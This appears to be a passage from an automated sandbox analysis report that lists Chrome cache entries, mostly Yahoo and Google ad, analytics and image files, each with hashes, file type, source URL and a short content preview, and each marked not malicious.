SHA-512:	748B27BDB7C7FA082D7BE6C69F56DC33302105784391320A5CF960531C594097BC406FD3F4690E4CF74F4016F4D56804A4296E9BD885562EB66699E1318F7000
Malicious:	false
Reputation:	low
URL:	https://b3aaf5e8612f3b3eae937ce202b533b1.safeframe.googlesyndication.com/safeframe/1-0-40/html/container.html
Preview:	<!DOCTYPE html>.<html>. <head>. <meta charset="UTF-8">. <title>SafeFrame Container</title>. <script>.(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var f=this\|\|self,h=function(a){return a};var n=function(a,b){this.h=a===l&&b\|\|"";this.g=m},p=function(a){return a instanceof n&&a.constructor===n&&a.g===m?a.h:"type_error:Const"},m={},l={};var r=void 0;/.. SPDX-License-Identifier: Apache-2.0./.var t,aa=function(){if(void 0===t){var a=null,b=f.trustedTypes;if(b&&b.createPolicy){try{a=b.createPolicy("goog#html",{createHTML:h,createScript:h,createScriptURL:h})}catch(c){f.console&&f.console.error(c.message)}t=a}else t=a}return t};var ca=function(a){this.g=ba===ba?a:""};ca.prototype.toString=function(){return this.g+""};var ba={},da=function(a){var b=aa();a=b?b.createScriptURL(a):a;return new ca(a)};var ea={},u=function(a,b){this.g=b===ea?a:""};u.prototype.toString=function(){return this.g.toString()};var ha=function(){var a=v,b={messa

Chrome Cache Entry: 219

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7907), with no line terminators
Category:	downloaded
Size (bytes):	7907
Entropy (8bit):	5.134832253452516
Encrypted:	false
SSDEEP:	192:3NiauurulAaIgvP+85ntzZSNLcVNHrjOO:3yuqlPI8Z3NsYVhrjr
MD5:	85070595D47A7CC86AF31833110DC18A
SHA1:	13564B6787EE765D841B2B6D1C4A6E73A2553AF8
SHA-256:	79D954B80C39513A18EE1E0143D931BA9222B4C4794438F7BAD23F9E0380CDC8
SHA-512:	B89211958F1EC914F3C31363EC7A60EFF460A86EAEF594522FD11A75712E0D0B05918C1D3FC720DD5D970399CD59C45E2F0069C5A9AE8014253661A2CEDABD38
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-template-1.4.3-modern.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-template",[],t):"object"==typeof exports?exports["wafer-template"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e.wafer.wafers["wafer-template"]=t())}("undefined"!=typeof self?self:this,function(){return function(e){function t(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return e[n].call(o.exports,o,o.exports,t),o.l=!0,o.exports}var r={};return t.m=e,t.c=r,t.d=function(e,r,n){t.o(e,r)\|\|Object.defineProperty(e,r,{configurable:!1,enumerable:!0,get:n})},t.n=function(e){var r=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(r,"a",r),r},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="https://s.yimg.com/aaq/wf/",t(t.s="./src/entry.js")}({"./src/entry.js":function(e,t,r){"use strict";function n(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function"

Chrome Cache Entry: 220

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	60
Entropy (8bit):	4.835812887167012
Encrypted:	false
SSDEEP:	3:YEOBHty8HCUdxJrkdgn:YEOBdhd3Ugn
MD5:	1A2E6DAE55867E27902227621FBD606E
SHA1:	1E002F260829576FB16DFA9B22679A1B4622A196
SHA-256:	7B70D7B16A52B9A33C44AB5F8E70464E408B4BCB9E4356F6C5BB90A2AB2B2AFD
SHA-512:	5E803931F68B573BB4FB437A329A055A4829406CD39B1CE56C46C4E41E7E938054D8E7AC3A4C7974DEFB3192A33B0E4424558BF2D8568F2D170A0D9F41C67B9F
Malicious:	false
Reputation:	low
URL:	https://ups.analytics.yahoo.com/ups/58824/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN
Preview:	{"axid": "eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B"}

Chrome Cache Entry: 221

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 1 icon, 16x16, 8 bits/pixel
Category:	downloaded
Size (bytes):	1406
Entropy (8bit):	1.6826987302732233
Encrypted:	false
SSDEEP:	6:ZM6MdN4jF8VGH0xnYOqEiCNc/+O1t+KbAzNct/XTXP0zyQ59:ZM6gyh82eqExk+uvbAzNc14d
MD5:	B6814AE5582D7953821ACBD76E977BB4
SHA1:	75A33FC706C2C6BA233E76C17337E466949F403C
SHA-256:	4A491ACD00880C407A2B749619003716C87E9C25AC344E5934C13E8F9AA0E8B3
SHA-512:	958268F22E72875B97C42D8927E6A1D6168C94FE2184DE906029688A9D63038301DF2E3DE57E571A3D0ECC7AD41178401823E5C54576936D37C84C7A3ED8EF6B
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/wm/mbr/images/yahoo-favicon-img-v0.0.2.ico
Preview:	..............h.......(....... .................................`...d...f...i...k...m...p...q...s.. s..$v..*z..?...D...M...V..._...b...c...l...v...y...\|.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 222

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10980), with no line terminators
Category:	downloaded
Size (bytes):	10980
Entropy (8bit):	5.199881802878747
Encrypted:	false
SSDEEP:	192:3cXOcuETuQ/aSlAQ69cm+76LKPvGzAZCMFFOWXsrFyOyf7:3FEiQSV9n+uLKPv4AsXWXsrFyJ
MD5:	1B3CBA92FAD04FE3B6085F9DD4504F0A
SHA1:	21375D2E95A8FD7EC3D25692B5D4FF6E33A33D66
SHA-256:	4A49828993F5623CB08E4FDAC5B714C4F7EDFABEE23F4AF4A5256817C6BC891F
SHA-512:	27804EEAE524A75447E22133CA253EE7C57E0A3C06A854DFFCEC56786B2C697FA8EE8A32C7516A47B16C1A365CAB15634FC487C3906985CA9BADADD44AB0BDAE
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-native-da-1.0.3-modern.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-native-da",[],t):"object"==typeof exports?exports["wafer-native-da"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e.wafer.wafers["wafer-native-da"]=t())}("undefined"!=typeof self?self:this,function(){return function(e){function t(n){if(r[n])return r[n].exports;var i=r[n]={i:n,l:!1,exports:{}};return e[n].call(i.exports,i,i.exports,t),i.l=!0,i.exports}var r={};return t.m=e,t.c=r,t.d=function(e,r,n){t.o(e,r)\|\|Object.defineProperty(e,r,{configurable:!1,enumerable:!0,get:n})},t.n=function(e){var r=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(r,"a",r),r},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="https://s.yimg.com/aaq/wf/",t(t.s="./src/entry.js")}({"./src/entry.js":function(e,t,r){"use strict";function n(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a functi

Chrome Cache Entry: 223

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 224

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1944
Entropy (8bit):	5.159975173294311
Encrypted:	false
SSDEEP:	48:DJGSdQMHbt/GSoQMHziE6v2RrUY2BL9FET76bQJz:DLzphv1YkbEjV
MD5:	2CE4C74B57AC265A4EF00AAC58C326B3
SHA1:	2879A6A1F5460D6AC85BB9A2FB7476F13B75D604
SHA-256:	18F2CBD6CD3F1C343886A1F9941CC03E2566D332AABF52C6DD0AA4F9C23EE5A9
SHA-512:	D9420EA415259A09721B86C97923F2F530EA83F4BC478C18D40FD49E2CA1848C99F5771D413B113E502762615D32B837F1412D0609D7BA000B63F4F7A7A83A6D
Malicious:	false
Reputation:	low
Preview:	<svg width="48" height="48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">. <defs>. <linearGradient x1="64.278%" y1="100%" x2="64.278%" y2="1.351%" id="a">. <stop stop-color="#B5BDC8" offset="0%"/>. <stop stop-color="#C7CDD2" offset="21.044%"/>. <stop stop-color="#E5EBEF" offset="100%"/>. </linearGradient>. <linearGradient x1="23%" y1="50%" x2="138.819%" y2="27.995%" id="c">. <stop stop-opacity="0" offset="0%"/>. <stop stop-opacity=".5" offset="99.942%"/>. </linearGradient>. <linearGradient x1="64.278%" y1="100%" x2="64.278%" y2="1.351%" id="d">. <stop stop-color="#B5BDC8" offset="0%"/>. <stop stop-color="#C7CDD2" offset="21.044%"/>. <stop stop-color="#E5EBEF" offset="100%"/>. </linearGradient>. <path d="M19.494.014C14.29.167 10.005 4.299 9.393 9.349c-1.683-.306-3.52-.306-5.51.919a8.379 8.379 0 00-3.826 5.51c-.153 1.376 0 2.6.46 3.825.459 1.071 1.53 1.837 2.754 1.837h16.682c5.969 0 10.866-4.89

Chrome Cache Entry: 225

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	3.0241026136709444
Encrypted:	false
SSDEEP:	3:CUmExltxlNXE:JQ
MD5:	B4682377DDFBE4E7DABFDDB2E543E842
SHA1:	328E472721A93345801ED5533240EAC2D1F8498C
SHA-256:	6D8BA81D1B60A18707722A1F2B62DAD48A6ACCED95A1933F49A68B5016620B93
SHA-512:	202612457D9042FE853DAAB3DDCC1F0F960C5FFDBE8462FA435713E4D1D85FF0C3F197DAF8DBA15BDA9F5266D7E1F9ECAEEE045CBC156A4892D2F931FE6FA1BB
Malicious:	false
Reputation:	low
URL:	https://www.yahoo.com/px.gif?ch=2&rn=9.953686578481904
Preview:	GIF89a.............!.......,...........2.;

Chrome Cache Entry: 226

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65386)
Category:	downloaded
Size (bytes):	446146
Entropy (8bit):	5.497443459316976
Encrypted:	false
SSDEEP:	6144:Cz/06P+FKHe2DfIeaOOiRYl5HB8K+kHQZnOkYA00AfJCVJILMQ/:Cz/0XFKa8K+kwZnOkPcJCV4M0
MD5:	7960F94696D949855824B9C4F66D6328
SHA1:	410E8B02C9BBDC1031824F3A5E75B1BF0AFB9C55
SHA-256:	292C4B31226660D43C28401602552C41EE62725A14405471E49B069251908026
SHA-512:	1E51743E983475BFF829C90078BC036E6B7EBD2195F3062056E95E5B528E8FAF26757A257C16E846BA171B9E79F82E4389287A23FBE85EC27E44FFF9F24EAA89
Malicious:	false
Reputation:	low
URL:	https://securepubads.g.doubleclick.net/pagead/managed/js/gpt/m202401030101/pubads_impl.js
Preview:	(function(_){/* . . Copyright The Closure Library Authors. . SPDX-License-Identifier: Apache-2.0 ./ ./ . . SPDX-License-Identifier: Apache-2.0 .*/ .var ba,fa,ia,ka,na,qa,sa,wa,va,xa,za,Ba,Ca,Da,Fa,Ga,La,Na,Oa,Qa,Sa,$a,gb,ib,kb,mb,qb,ub,zb,Ab,Ib,Kb,Mb,Ob,Pb,Ub,Wb,Vb,Zb,$b,Qb,ac,cc,gc,hc,jc,mc,nc,oc,pc,qc,rc,tc,uc,xc,yc,zc,Ec,Fc,Hc,Jc,Gc,Lc,Nc,Oc,Qc,Rc,Sc,Tc,Uc,Vc,Xc,fd,gd,hd,id,$c,jd,Zc,Yc,kd,ld,md,nd,od,pd,qd,td,sd,vd,wd,yd,Cd,Dd,Fd,Gd,Hd,Jd,Id,Pd,Rd,Qd,Td,Sd,Ud,Wd,Ed,ae,be,ee,le,fe,he,ke,me,ne,qe,se,ue,ve,ye,ze,Ae,ge,Be,Ce,Ee,Fe,Ge,Ke,Le,Me,Ie,Se,Je,Te,Ye,$e,bf,hf,jf,kf,of,pf,qf,wf,xf,zf,Af,Bf,Cf,Df,Ef,Gf,If,Jf,Mf,Nf,Of,Rf,Tf,Vf,Xf,bg,cg,fg,gg,hg,ig,kg,lg,ng,og,qg,sg,tg,ug,vg,yg,Ag,Eg,Cg,Ig,Jg,Kg,Gg,Hg,Lg,Mg,Ng,Rg,Vg,Wg,wh,yh,zh,Ch,Gh,Kh,Nh,Ph,Rh,Sh,Th,Uh,Vh,Wh,Yh,ai,di,fi,gi,ji,hi,ni,oi,pi,ti,ui,Ai,Bi,Mi,Si,Qi,Ri,Xi,nj,pj,qj,rj,tj,xj,Gj,Aj,uj,Pj,Nj,Oj,Rj,Sj,Yj,fk,ik,lk,mk,K,nk,tk,rk,Ek,Hk,L,Jk,Kk,Lk,Nk,Pk,Qk,Xk,Yk,$k,al,gl,nl,pl,rl,sl,tl,vl,yl,Cl,El,Gl,Fl,Nl,Ol,Pl,Ql,Hl,Sl,Il,Vl,Wl

Chrome Cache Entry: 227

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6645), with no line terminators
Category:	downloaded
Size (bytes):	6645
Entropy (8bit):	5.153971139811532
Encrypted:	false
SSDEEP:	192:3e4uADK8v5xzWosWjYugPwNC96vTrWJcXux8jVD:3qA+8nWofjYFPwo6vTrq0uep
MD5:	2E3968239B770B8186BB480D513311CD
SHA1:	E2583E321454F9F48193918E3316533226ED62FA
SHA-256:	D77E659299C397037513AFF88093B64F6CE29994B94D99256AD84A7910C0CEB3
SHA-512:	487F486C165C5E6FAD46A8BBCB6279147FA93D3D3A004327D0DFDEA5040F9B320FE5439A0E2E849DFBB8CBB4FC1ADFDF6647BCCA1DDECCAAD5C36093FCE7A2B2
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-image-1.4.0-modern.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-image",[],t):"object"==typeof exports?exports["wafer-image"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e.wafer.wafers["wafer-image"]=t())}("undefined"!=typeof self?self:this,function(){return function(e){function t(a){if(r[a])return r[a].exports;var o=r[a]={i:a,l:!1,exports:{}};return e[a].call(o.exports,o,o.exports,t),o.l=!0,o.exports}var r={};return t.m=e,t.c=r,t.d=function(e,r,a){t.o(e,r)\|\|Object.defineProperty(e,r,{configurable:!1,enumerable:!0,get:a})},t.n=function(e){var r=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(r,"a",r),r},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="https://s.yimg.com/aaq/wf/",t(t.s="./src/entry.js")}({"./src/entry.js":function(e,t,r){"use strict";function a(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}functio

Chrome Cache Entry: 228

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2880)
Category:	downloaded
Size (bytes):	66124
Entropy (8bit):	5.578451281539552
Encrypted:	false
SSDEEP:	1536:JosWBfy4mUjgMD+3wwEph5dKg5EK3/lAJ+h4:efrmYDKAweh5dB9I+O
MD5:	8B8590707DF148CC15F1BDE2D4E25442
SHA1:	DEA06C6A4DFCC2217F16F1C56FDF4129BA530A91
SHA-256:	2F6BEA46C546F8965429C8793DA815B8AA488EA358656607513811E6220F4583
SHA-512:	6655357B58BB2D7A127905CFB55E028F9802941E6E30169B1AF299A936B7AF3590E5F8C953CE4B54C2FBDC924A69324A2D0E83AF23C08948D27482630C1CF5DE
Malicious:	false
Reputation:	low
URL:	https://pagead2.googlesyndication.com/pagead/js/rum.js
Preview:	(function(){function aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ca="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a}; .function da(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var ea=da(this),fa="function"===typeof Symbol&&"symbol"===typeof Symbol("x"),p={},ha={};function r(a,b,c){if(!c\|\|null!=a){c=ha[b];if(null==c)return a[b];c=a[c];return void 0!==c?c:a[b]}} .function ia(a,b,c){if(b)a:{var d=a.split(".");a=1===d.length;var e=d[0],f;!a&&e in p?f=p:f=ea;for(e=0;e<d.length-1;e++){var g=d[e];if(!(g in f))break a;f=f[g]}d=d[d.length-1];c=fa&&"es6"===c?f[d]:null;b=b(c);null!=b&&(a?ca(p,d,{configurable:!0,writable:!0,value:b}):b!==c&&(void 0

Chrome Cache Entry: 229

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (33565), with LF, NEL line terminators
Category:	downloaded
Size (bytes):	266875
Entropy (8bit):	5.405952451576969
Encrypted:	false
SSDEEP:	3072:B+74kQhrsZsT0ZhN9IvHI6Uy0zROLFEZu:MQvm98wbzROLR
MD5:	678B2F6761D37A15E6C3A275F8CB1CB2
SHA1:	0441BC8154D9A63EB34ADF68CBD4E8A31C36D904
SHA-256:	B7B35A98B5347FC64B52041D79B052118BCECD2161DBBAA71E05EC3D64CC0723
SHA-512:	25034AD19B7B7287A4DDD17D91BF730F811ED5405EE5948839D4EE5979922F9F59A2A5C22C99701B9C57A0EA6991FCD77FEAFD733C182D0B638B86DE082036E6
Malicious:	false
Reputation:	low
URL:	https://hb.yahoo.net/ss/nes/player.js
Preview:	!function(e){var t={};function n(r){if(t[r])return t[r].exports;var i=t[r]={i:r,l:!1,exports:{}};return e[r].call(i.exports,i,i.exports,n),i.l=!0,i.exports}n.m=e,n.c=t,n.d=function(e,t,r){n.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:r})},n.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},n.t=function(e,t){if(1&t&&(e=n(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var r=Object.create(null);if(n.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var i in e)n.d(r,i,function(t){return e[t]}.bind(null,i));return r},n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(t,"a",t),t},n.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},n.p="/",n(n.s=11)}([function(e,t,n){"use strict";e.exports=function(e){var t=[];return t.toString=function

Chrome Cache Entry: 230

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 260 x 340
Category:	downloaded
Size (bytes):	539840
Entropy (8bit):	7.950660003114956
Encrypted:	false
SSDEEP:	12288:OqzGmFxefUFk3+6w/AuS4Hf0FzU/VF4HxHi1u2k0SwU1TKd5I/Z+aC10n/:OqzGmfeMFF6buloUNGicgd8+J0n/
MD5:	2FB9D43C74752389405ABC1A5814B44A
SHA1:	BD551A3693F34693083D37EEE3113D667CE4F3C4
SHA-256:	7A18441E184306E7F51C5493C0C17F676C73E12F518DC468DCB565B25D90FC41
SHA-512:	D0CED802BD8B03554E538D1316CC37EEFA4E0CBA33E54242BA36F4C1A3D1B991135208B54064499E571A21562AEFC67DBBE691B38E333148CCAB2518B229AA80
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/pv/static/img/icon-flame-light-202303010352.gif
Preview:	GIF89a..T.......................................................................U..R..Q..O........K..M..N..N..O..P..Q..Q..S..U..N................^<.mC.N..O..L".Q..S..[..M.....d.d?...pA.iM.h/.i........f...........................................................................................................w..o.rW.S..U..O..Q..S..^$.`0.M..N..O.....................}.hN.X5.X..o>.U..S..P..R..N...n.M..Q.............M%.W..r5..W..P..e..d.Y4.._&.Z$......v._=.^,.pR.Y#.kB.f5.}.O....R..S..S..}D............`@.hC.`3.....^5.U$.X..M"....M..U%.U!.a4.M..Q..M .N..N..Q..O..O..Q..P..U..U.........hD.w\...^<.uR.`1.z.]2.Z+.~.X).vQ.W..k...U..P...b.P...v.t.W..v..V.].pP...P..X"....X.{U........X,.f.v`.....^..vQ.L..L.....N).jN.\|].N..{N.qO.................!..NETSCAPE2.0.....!.)Optimized with https://ezgif.com/optimize.!.......,......T....................H........L..............L.....J.....j..........N....................(8HXhx..........)9IYiy..........*:JZjz

Chrome Cache Entry: 231

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (717)
Category:	downloaded
Size (bytes):	786
Entropy (8bit):	5.219841148069385
Encrypted:	false
SSDEEP:	24:0pRlddWZgvIlRkJo/Vu6MO3RctoHwIfATqckxg7iQD8rnaS4NM:0RddRvIlail3u21fATqc50raRNM
MD5:	FB5A4594B9FFEF704D61BB6E6F80F145
SHA1:	B5CE60A22B42FCD31FE8B2810AAA277D545BE43B
SHA-256:	3C30F0F816ADA3A1410045D740A98E4D2FAF07FC74FFC0430678B21ABBD05138
SHA-512:	77C63E1249E4BDF2DE43C74531A64E0AFE7305662BFA46252C432318B374CE7B0A6FC24645A5FDD5E9A4B18D4D924BF74E970B6E64D20B45DFBA263E51AD5FB4
Malicious:	false
Reputation:	low
URL:	https://tsdtocl.com/
Preview:	<!doctype html>.<html>.<head>.<script>.!function(){var e="tsdtocl",t="!-#@",a=2;try{var n=function t(a,n){return n.namespace=e,n.id=a,parent.postMessage(JSON.stringify(n),"*"),n},r=function e(r,s,c){try{if(void 0===c\|\|void 0===r\|\|void 0===s)throw 0;var i=localStorage.getItem(s),o=i?i.split(t):[];if(-1!==o.indexOf(c))return n(r,{success:!0,wasAppended:!1});o.push(c);var d=o.slice(-a).join(t);localStorage.setItem(s,d);var u=localStorage.getItem(s);return n(r,{value:d,wasAppended:!0,success:u===d})}catch(e){return n(r,{success:!1})}},s=function t(a){var n;try{n=JSON.parse(a.data)}catch(e){}if(n&&n.namespace===e&&"append"===n.action)return r(n.id,n.key,n.value)};window.self!==window.top&&window.addEventListener("message",s,!1)}catch(e){}}();</script>.</head>.<body></body>.</html>

Chrome Cache Entry: 232

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (372)
Category:	downloaded
Size (bytes):	7668
Entropy (8bit):	4.818916405648157
Encrypted:	false
SSDEEP:	192:Uu9KYoiEAroQywuVYeCvGgPVoddpswcj2jA9qSt+xw:F9KjYe6do2jg2
MD5:	0AA710A63CEE632B2B8987C8E7715720
SHA1:	BEC570DE3EFB25EF892B1B7BF6930EAC57400671
SHA-256:	6BFBCBFE62A182C77A84F9BB31CD15199C5A6999DD00737F4EE1045258FF5872
SHA-512:	17D6013B3BA7F5242DC1E9F037DFD7E789681BEFC417DAAF7732C92D57C1A582CED2CE49726EFC334A2612EC6E76E28A5C228F1B3823D4C33C66FB4195DD3C50
Malicious:	false
Reputation:	low
URL:	https://hb.yahoo.net/ucreative.php?cv=1
Preview:	function isSet(val) {. switch (typeof val) {. case "string":. return val !== undefined && val !== "" && val !== null;. case "object":. return val !== null;. case "number":. case "boolean":. return true;. default:. return false;. }.}..function isJSONSupported() {. return !!(window.JSON &&. (window.JSON.parse && typeof JSON.parse === "function") &&. (window.JSON.stringify && typeof JSON.stringify === "function"));.}..//------------------------------------------CODE------------------------------------------.function isForceSafeFrameEnabled() {. return testData["fs"] === "1".}..function decodeFSC(input) {. // Replace non-url compatible chars with base64 standard chars. input = input. .replace(/-/g, '+'). .replace(/_/g, '/');. return input;.}..let timesData = {uCreativeLoadStart: Date.now()};.let isDebuggingLogFired = false;..function onLoadHandler() {. timesData["dfpIf

Chrome Cache Entry: 233

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/g/images/spaceball.gif
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 234

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	34492
Entropy (8bit):	7.98462460628298
Encrypted:	false
SSDEEP:	768:i4Yf56CVw45Wt55UJGLVblmMostjaEQ90Oq1JBjEVahGxpIs+/:i4Ye45WgAVMMosdNi0OYfBhAT+/
MD5:	6C12B2DC98E544F7BF8C34B13AF4CBB3
SHA1:	4BFFBBCDC31EB583E82A05E46B5876A668453A06
SHA-256:	0290D861828138B3097A3B228B125DBC62AC11E1E1F6695CAA9445AF4CDE1DC7
SHA-512:	30194CF7EB77E52E5175E456BDE417DA3A04EF8B99AA7ACFE87613D846B7A4AD4FF485C2B88C2353CC6737F85E6E778F3A1459F9C66B21E3E61A26B5D2A45259
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/uu/api/res/1.2/GSKHpm7nPq7fQKY_RgvSdA--~B/Zmk9c3RyaW07aD0yNzI7cT05NTt3PTU2MDthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-01/a407ad50-affc-11ee-b5ff-62a691ec49a4.cf.webp
Preview:	RIFF....WEBPVP8X.... .../.....ICCP0......0ADBE....mntrRGB XYZ .........3.;acspAPPL....none...........................-ADBE................................................cprt.......2desc...0...kwtpt........bkpt........rTRC........gTRC........bTRC........rXYZ........gXYZ........bXYZ........text....Copyright 2000 Adobe Systems Incorporated...desc........Adobe RGB (1998)................................................................................XYZ .......Q........XYZ ................curv.........3..curv.........3..curv.........3..XYZ ..........O.....XYZ ......4....,....XYZ ......&1.../....VP8 ^........*0...>...A..2}m..q-,.9........._.........w.....w..oC.w......~.u...~.z.~W.J.....?.....[.?.<....o...>u.K.W......r..7...}F.i......w}......?......+.....;..........+....^h.G._.>.>..w........_}..............3._..`?.xa......_....]\|......'....?.\|..=...[.W./....}?...~....X....d.....a.k..T...b.X.....=%{..../..+.,e...@...3P..\..r.E..3._.h...q...{...>,.,......?...)>.S..v.x..hP.$M

Chrome Cache Entry: 235

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 536x284, components 3
Category:	dropped
Size (bytes):	39499
Entropy (8bit):	7.968638406341819
Encrypted:	false
SSDEEP:	768:CDjT8pOwGxfC85/m105uFdLFfaoLHaYN3BcmAzRqD0MT2:UTyOwGNLU10QvFSoLHaS3eHIDn2
MD5:	35C162C465B6D2EE3AE25A0F05306293
SHA1:	1B937970C022423131D72F5711219F4650509A2F
SHA-256:	D03DF1CEA63B966F818706A37EB154E2E94466B590D6F8C55CB56385A005B8B0
SHA-512:	A5232AE2F15EBA19A7825C33A371B74BAA18D0C912F2A2913569ED226AF86FF0D2D942F0D5C998629C4EF310F1E4981167022AE975C1E5A46D018049826F31DE
Malicious:	false
Reputation:	low
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C......................................................................................................................J.........................!1.A..Q."2aq....#3BR..$4Cb..Sr.....%5Ds....c....................................9.......................!1....."A#2Q3a.Bq.$R...4b....C..............?.....'....U%.U.$.l...H.z&?.B\..R..:{W].H..CO.Wk..3....ok".L...d..?....:%.G.....c$#.,Fq.Q.k....S\."...n_.....e....._..1......k.J.x.e..

Chrome Cache Entry: 236

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	49
Entropy (8bit):	3.176789192964165
Encrypted:	false
SSDEEP:	3:CUVAae/XExlHrfx/n:8aOUJ/n
MD5:	56398E76BE6355AD5999B262208A17C9
SHA1:	A1FDEE122B95748D81CEE426D717C05B5174FE96
